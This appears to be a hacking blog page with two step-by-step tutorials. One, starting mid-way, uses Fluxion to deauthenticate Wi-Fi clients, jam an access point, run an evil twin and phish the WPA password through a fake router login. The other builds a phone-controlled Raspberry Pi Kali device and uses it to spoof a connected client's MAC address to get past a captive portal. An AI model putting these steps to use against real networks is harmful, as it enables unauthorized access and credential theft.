In order to verify that the password we receive is working, we will check it against a captured handshake. If we have a handshake, we can enter it at the next screen. If not, we can press enter to force the network to provide a handshake in the next step.

Using the Aircrack-ng method by selecting option 1 ("aircrack-ng"), Fluxion will send deauthentication packets to the target AP as the client and listen in on the resulting WPA handshake. When you see the handshake appear, as it does in the top right of the screenshot below, you have captured the handshake. Type 1 (for "Check handshake") and enter to load the handshake into our attack configuration.

Step 6Create the Fake Login Page

Select option 1, "Web Interface," to use the social engineering tool.

You will be presented with a menu of different fake login pages you can present to the user. These are customizable with some work, but should match the device and language. The defaults should be tested before use, as some are not very convincing.

I chose an English language Netgear attack. This is the final step to arm the attack; At this point, you are ready to fire, so press enter to launch the attack. The attack spawns multiple windows to create a cloned version of their wireless network while simultaneously jamming the normal access point, enticing the user to join the identically named, but unencrypted, network.

Step 7Capture the Password

The user is directed to a fake login page, which is either convincing or not, depending on which you chose.

Perhaps not the most elegant deception, but these files are configurable.

Entering the wrong password will fail the handshake verification, and the user is prompted to try again. Upon entering the correct password, Aircrack-ng verifies and saves the password to a text file while displaying it on the screen. The user is directed to a "thank you" screen as the jamming ceases and the fake access point shuts down.

You can verify your success by checking the readout of the Aircrack-ng screen.

Key captured and verified. The network is ours!

Congratulations, you've succeeded in obtaining and verifying a password, supplied by targeting the "wetware." We've tricked a user into entering the password rather than relying on a preexisting flaw with the security.

Warning: This Technique Could Be Illegal Without Permission

Legally, Fluxion combines scanning, cloning, creating a fake AP, creating a phishing login screen, and using the Aircrack-ng script to obtain and crack WPA handshakes. As such, it leaves signatures in router logs consistent with using these techniques. Most of these practices are illegal and unwelcome on any system you don't have permission to audit.

Turn Any Phone into a Hacking Super Weapon with the Sonic

2017-12-27T23:35:00.002+05:30

The Watch Dogs video game series came out in 2014, enamoring audiences with the idea of a seemingly magical smartphone that could change traffic signals, hack web cameras, and even remotely control forklifts. This may sound like science fiction, but The Sonic uses a customized flavor of Kali Linux to allow you to unleash the power of Kali from any smartphone — all without the need to create a hotspot to control it.

If you've ever tried hacking on an iPhone, you know it's not a straightforward process. A few problems arise when trying to do any sort of hacking from a smartphone. First, the operating systems are incredibly restrictive. The closest thing to "hacking" you'll ever get on an iPhone is a port scanner.

You could jailbreak your iPhone, or put Kali NetHunter on an Android device, but even then you are extremely restricted when it comes to wireless hacking by the hardware. Essentially, these strategies expect too much flexibility from devices that were designed for a specific purpose.

Enter The Sonic. It comes pre-built with all of the tools needed to control a Raspberry Pi right from your smartphone. This is where we start to loosen the proverbial chains of our smartphones, by adding a more versatile companion device. When we connect to The Sonic, we can offload any work our phone can't do and take advantage of a fully functional Kali Linux attack suite.

The Sonic, complete with wireless network adapter, being discreet.

This build is different from our previous Raspberry Pi-based Kali Linux, in which our Pi connects to our smartphone's hotspot to be controlled. If your phone doesn't have a hotspot, The Sonic will turn the Raspberry Pi's internal Wi-Fi card into a command-and-control communications Wi-Fi link, which you can connect to from any smartphone to access its features.

One major difference in these two build methods is that the The Sonic will not be able to tether an internet connection from your phone. To connect to the internet, you will need to first connect to The Sonic's wireless AP from your smartphone, and then connect The Sonic to a nearby Wi-Fi network to establish a link to the internet.

The Sonic Pi can access a network for you, hiding your real MAC address. To access the internet, you first connect to the Sonic Pi, and then connect the Sonic Pi to the Wi-Fi network providing internet.

This means The Sonic will need two interfaces, the command-and-control to host the connection to your smartphone and the "attack" antenna to connect the Pi to the network you want to access the internet from.

For more on our alternative Kali Linux build, check out the link below.

Step 1Gathering the Necessary Parts

Going on the Sonic's website, we see that there are some other parts we're going to need. In addition to a Raspberry Pi 3, the following parts are suggested:

A TP-Link TL-WN722N wireless card. Any wireless card with an Atheros chip should also satisfy this recommendation. If you're not sure what chipset your wireless card uses, check out the link below for our breakdown.
We will also need a microSD card to burn The Sonic image to.
Although it isn't a specific requirement on The Sonic website, we're also going to want to pick up a good battery for our Raspberry Pi. If we want truly mobile hacking, we need a truly mobile solution. I tested this battery with a Raspberry Pi 3 B and it lasted more than 7 hours!

To make a Sonic, you'll need a Raspberry Pi 3 and a Kali-compatible wireless network adapter.
The main benefit to using the Pi over something like a laptop is portability and stealth. While a laptop with several antennas sticking out looks pretty suspect, someone using The Sonic appears to be doing nothing more than checking their phone.

Now that we've got the hardware, we need to get some matching software. For mobile devices, we need to make sure we have the Google Chrome web browser. Safari on iPhone doesn't support the JavaScript functions that The Sonic uses, so we need Google Chrome to access it properly.

Step 2Downloading & Burning the Sonic Image

You can download the IMG file for The Sonic from here. The image will be delivered in the form of a 2.1 GB ZIP archive, which you'll have to extract. After you unzip the image, the total size will be around 16 GB, so be aware you're working with some pretty big files.

Because the files are so massive, it's a good idea to verify their integrity. You can do this by checking the hash values for the downloaded file and comparing them to the ones shown on the download page of the website. FCIV is an easy to use command line tool for Windows to calculate the hash values. For Linux, you can use the command md5sum, and Mac users can use the command md5.

The hash checksums for the .zip file can be found on The Sonic website.

Once you have the image, the steps to flash it to the microSD card vary depending on your operating system. Find your operating system below and follow the necessary steps.

On Windows

In order to flash The Sonic image on Windows, we need some additional software. Win32 Disk Imager will let us pick the image file, select what device we want to write to, and finally take care of the rest for us.

On Mac & Linux

We can use dd in our terminal. First, we will need to figure out which connected disk device represents the SD card. This can be done by running lsblk in Linux, or diskutil list in macOS. Next, we need to unmount the device via umount(disklocation) in Linux, or diskutil unmount /dev/device in macOS. Finally, we write the image to the SD card with the following command.

dd if=theImageFile.img of=/dev/device bs=4m.

Once the card has been flashed, insert it into your Raspberry Pi.

Step 3Connecting to the Sonic

Now it's time to start up our Sonic!

A quick note before we continue: The Sonic is programmed to automatically configure the necessary Linux files to set up an access point. To do this, the Pi will restart itself once or twice. This is completely normal.

During this process, The Sonic is assigning your Raspberry Pi's internal Wi-Fi card a special interface name so that it can run an access point. After that, The Sonic will run a few startup scripts to configure the access point, enable SSH login, and run the web application.

Plug your wireless network adapter into the Raspberry Pi, and power on the Pi by connecting it to a power source via the Micro USB power cable.

Once the Pi is done setting itself up, it will start the built-in access point. By default, the SSID is The Sonic and the password is password. It's definitely a good idea to change these at some point. This can be done by going to the "AP Manager" tab on The Sonic web app, which we'll take a look at soon.

The default WPA password for The Sonic is the easiest "password" ever.

Step 4Troubleshooting Issues with the Sonic

If you don't see an access point named "The Sonic" after 15 minutes, there are a few things to check.

First, turn off your Sonic, plug it into a monitor, and power it back on. We want to check and see if the device is booting up normally, or if there's an issue such as an infinite reboot loop or error message.

If the device is stuck in an infinite loop of rebooting, or you get an error message reading "link wlan0 is not ready" for eternity, there may be a problem with the drivers related to your particular wireless network adapter. If you have another wireless adapter available, try switching to that card.

Otherwise, try unplugging the card and booting The Sonic up without the external interface. Once the Pi boots successfully, check to see if the driver for your wireless card is installed. You can find out what drivers are installed by typing the following.

lspci | grep -i wireless

If the driver for your wireless card is not installed, the steps for installation vary. Visit the manufacturer's website for steps on how to install the drivers necessary for Debian Linux.

If the Pi boots up successfully, but you can't see an access point called "The Sonic," try connecting a keyboard and running the following.

ifconfig

Check see if both Wi-Fi cards are detected, and if an interface named "wap0" is present. If you can't find an interface named "wap0," type the following.

/var/www/html/scripts/ifaceChecker.py

This will run the script that checks the current state of the Raspberry Pi's built-in Wi-Fi interface. If it can't find the interface, there may be a problem with the built-in Wi-Fi card on your Raspberry Pi.

In that case, try using a second Raspberry Pi if you're lucky enough to have another one around, or double-check the Wi-Fi card with a different Raspberry Pi image such as Raspbian and a monitor.

If none of the above seem to help, there may have been a mistake when you first imaged your SD card. Try re-imaging the card as well. You can also look at the documentation on the website here.

Step 5Using the Sonic

Once we're connected, the world is our oyster! Well, at least the parts of the world with serious security flaws. Before we do anything though, we're going to want to connect to Wi-Fi, since the current connection will not serve data to our phone or Pi. Thankfully, The Sonic has a built-in web application that makes those sort of otherwise tedious terminal tasks very trivial.

By default, the web application is located at 192.168.8.1. Just punch that address into the browser on your smartphone, and you'll be greeted by a prompt for a username, and then a password. By default, the username is sonic and the password is password.

Here, we log in to the Sonic Pi web application.

Once you've done that, the main menu will come up as seen on the left-hand side below. The menu design is definitely basic, but it's to the point. By tapping "Wifi Manager," we can quickly list Wi-Fi points around us (seen on the right-hand side).

In The Sonic web app, the main menu (left) and the Wifi Manager (right). The AP names have been hidden for privacy.

The access points we see are listed by signal strength. In this example, all of the access points with "(Open)" are a part of a Wi-Fi network that doesn't have a password, but requires authentication via a web portal to use.

Unfortunately we don't have credentials. However being the smart hackers we are we, we can still get access anyway.

Step 6Gaining Access to a Network

In order to bypass the web-based authentication for this network, we first need to understand how the authentication keeps track of its users. Just like certain websites use cookies to pre-authenticate users who have already logged in, these types of networks log the MAC addresses of clients to keep track of whether a device is authorized or not.

So what we need to do is find the MAC address of a client already connected. The Sonic makes this process incredibly easy for us. If we hop back into the web app, we can find some pretty nifty features.

In the Wifi Manager, let's tap on the button for the network we are trying to hack into. We'll be greeted with a screen similar to the one on the left below. Here we see a couple options: We can either connect to the network or do some wireless sniffing and see all of the clients connected to the network. Of course, we want to snoop, so we tap "List Connected Devices."

Upon tapping this button, the Sonic will open a new tab that will start scanning for connected devices. Basically, a background process running Airodump-ng from the Aircrack-ng suite will process the output and show us the results. This process takes about 33 seconds to load, so you'll have to be patient.

This feature is currently the only one that doesn't work in the Safari browser. Safari doesn't support the new tab JavaScript function the Sonic uses. Plans are in place to extend support to Safari once additional features have been implemented.

Step 7Changing Our MAC Address

Once the web app has finished loading, we'll be presented with a list of client MAC addresses. By simply tapping one, we'll be sent to the MAC Changer page where all of the necessary data will have been sent to assign our device this new MAC address. Now, all we have to do is go back to the Wifi Manager and connect to the point. We're in like Flynn!

It is worth noting that by doing this, you will most likely disrupt the service of whoever the device you are masquerading as belongs to. With this in mind, the attack isn't exactly stealthy.

But putting that aside, now that we can connect to the network, there really isn't much we can't do. The Sonic is set up to route its built-in Wi-Fi access point through the access point it's just connected to in order to connect to the internet. This means you can still access the internet from your phone, once The Sonic is connected to a nearby access point.

From here, we have the ability to sniff local traffic, spoof a DNS server, run exploits on network devices, and just about anything else you could do from a Kali Linux laptop or desktop. The beauty of The Sonic is how portable and stealthy the device is.

Get Started & Unleash Your Inner Hacker

Again, while the project is still very new, the foundations of The Sonic make it a plug-and-play hacking tool like no other. The Sonic is being actively maintained right now, and new features are being added to the web app to make it much more intuitive and convenient to use.

If you want to be able to wield The Sonic to its full potential, you'll have to first master Kali Linux. Keep scrolling through Our blog and drinking in all of the hacking goodness we have here!